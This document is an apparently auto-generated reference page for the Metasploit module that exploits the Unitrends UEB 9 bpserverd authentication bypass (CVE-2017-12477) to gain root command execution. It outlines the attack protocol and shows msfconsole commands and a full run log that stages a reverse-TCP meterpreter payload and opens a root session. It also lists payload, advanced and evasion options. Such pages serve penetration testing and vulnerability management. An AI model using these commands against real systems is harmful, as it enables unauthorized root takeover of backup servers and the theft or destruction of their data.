Unitrends UEB bpserverd authentication bypass RCE - Metasploit
This page contains detailed information about how to use the exploit/linux/misc/ueb9_bpserverd metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Unitrends UEB bpserverd authentication bypass RCE
Module: exploit/linux/misc/ueb9_bpserverd
Source code: modules/exploits/linux/misc/ueb9_bpserverd.rb
Disclosure date: 2017-08-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 1743
List of CVEs: CVE-2017-12477
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/misc/ueb9_bpserverd
msf exploit(ueb9_bpserverd) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Unitrends UEB 9 bpserverd authentication bypass RCE
This exploit uses roughly the same process to gain root execution as does the apache user on the Unitrends appliance. The process is something like this:
- Connect to xinetd process (it's usually running on port 1743)
- This process will send something like:
?A,Connect36092 - Initiate a second connection to the port specified in the packet from xinetd (36092 in this example)
- send a specially crafted packet to xinetd, containing the command to be executed as root
- Receive command output from the connection to port 36092
- Close both connections
Verification Steps
use exploit/linux/misc/ueb9_bpserverdset lhost [IP]set rhost [IP]exploit- A meterpreter session should have been opened successfully
Scenarios
UEB 9.1 on CentOS 6.5
msf > use exploit/linux/misc/ueb9_bpserverd
msf exploit(ueb9_bpserverd) > set rhost 10.0.0.230
rhost => 10.0.0.230
msf exploit(ueb9_bpserverd) > set lhost 10.0.0.141
lhost => 10.0.0.141
msf exploit(ueb9_bpserverd) > exploit
[*] Started reverse TCP handler on 10.0.0.141:4444
[*] 10.0.0.230:1743 - 10.0.0.230:1743 - pwn'ng ueb 9....
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
[+] 10.0.0.230:1743 - bpd port received: 45425
[*] 10.0.0.230:1743 - Connecting to 45425
[+] 10.0.0.230:1743 - Connected!
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
[*] 10.0.0.230:1743 - Command Stager progress - 26.71% done (199/745 bytes)
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
[+] 10.0.0.230:1743 - bpd port received: 40889
[*] 10.0.0.230:1743 - Connecting to 40889
[+] 10.0.0.230:1743 - Connected!
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
[*] 10.0.0.230:1743 - Command Stager progress - 53.56% done (399/745 bytes)
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
[+] 10.0.0.230:1743 - bpd port received: 40016
[*] 10.0.0.230:1743 - Connecting to 40016
[+] 10.0.0.230:1743 - Connected!
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
[*] 10.0.0.230:1743 - Command Stager progress - 80.27% done (598/745 bytes)
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
[+] 10.0.0.230:1743 - bpd port received: 53649
[*] 10.0.0.230:1743 - Connecting to 53649
[+] 10.0.0.230:1743 - Connected!
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
[*] Sending stage (826872 bytes) to 10.0.0.230
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33715) at 2017-10-06 11:33:56 -0400
[*] 10.0.0.230:1743 - Command Stager progress - 100.00% done (745/745 bytes)
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
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Msfconsole Usage
Here is how the linux/misc/ueb9_bpserverd exploit module looks in the msfconsole:
msf6 > use exploit/linux/misc/ueb9_bpserverd
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/misc/ueb9_bpserverd) > show info
Name: Unitrends UEB bpserverd authentication bypass RCE
Module: exploit/linux/misc/ueb9_bpserverd
Platform: Linux
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-08-08
Provided by:
Jared Arave
Cale Smith
Benny Husted
Available targets:
Id Name
-- ----
0 UEB 9.*
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1743 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
It was discovered that the Unitrends bpserverd proprietary protocol,
as exposed via xinetd, has an issue in which its authentication can
be bypassed. A remote attacker could use this issue to execute
arbitrary commands with root privilege on the target system.
References:
https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755
https://nvd.nist.gov/vuln/detail/CVE-2017-12477
https://nvd.nist.gov/vuln/detail/CVE-2017-12477
Module Options
This is a complete list of options available in the linux/misc/ueb9_bpserverd exploit:
msf6 exploit(linux/misc/ueb9_bpserverd) > show options
Module options (exploit/linux/misc/ueb9_bpserverd):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1743 yes The target port (TCP)
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 UEB 9.*
Advanced Options
Here is a complete list of advanced options supported by the linux/misc/ueb9_bpserverd exploit:
msf6 exploit(linux/misc/ueb9_bpserverd) > show advanced
Module advanced options (exploit/linux/misc/ueb9_bpserverd):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/misc/ueb9_bpserverd module can exploit:
msf6 exploit(linux/misc/ueb9_bpserverd) > show targets
Exploit targets:
Id Name
-- ----
0 UEB 9.*
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/ueb9_bpserverd exploit:
msf6 exploit(linux/misc/ueb9_bpserverd) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/adduser normal No Linux Add User
6 payload/linux/x86/chmod normal No Linux Chmod
7 payload/linux/x86/exec normal No Linux Execute Command
8 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
18 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
19 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
20 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
21 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
22 payload/linux/x86/read_file normal No Linux Read File
23 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
26 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
27 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
29 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
32 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
33 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
34 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
35 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
36 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/misc/ueb9_bpserverd exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/misc/ueb9_bpserverd) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Connection to server failed
Here is a relevant code snippet related to the "<PEER> - Connection to server failed" error message:
105:
106: disconnect(s1)
107: disconnect(s2)
108:
109: rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
110: fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
111: end
112:
113: end
114:
115: def exploit
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12408 Merged Pull Request: fix spelling received
- #9043 Merged Pull Request: initial commit for UEB9 exploits - CVE-2017-12477, CVE-2017-12478
References
- https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755
- https://nvd.nist.gov/vuln/detail/CVE-2017-12477
- CVE-2017-12477
See Also
Check also the following modules related to this module:
- exploit/linux/misc/accellion_fta_mpipe2
- exploit/linux/misc/aerospike_database_udf_cmd_exec
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/misc/cisco_rv340_sslvpn
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
- exploit/linux/misc/gld_postfix
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/hikvision_rtsp_bof
- exploit/linux/misc/hp_data_protector_cmd_exec
- exploit/linux/misc/hp_jetdirect_path_traversal
- exploit/linux/misc/hplip_hpssd_exec
- exploit/linux/misc/hp_nnmi_pmd_bof
- exploit/linux/misc/hp_vsa_login_bof
- exploit/linux/misc/ib_inet_connect
- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/igel_command_injection
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/sercomm_exec
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/zabbix_server_exec
Authors
- Jared Arave
- Cale Smith
- Benny Husted
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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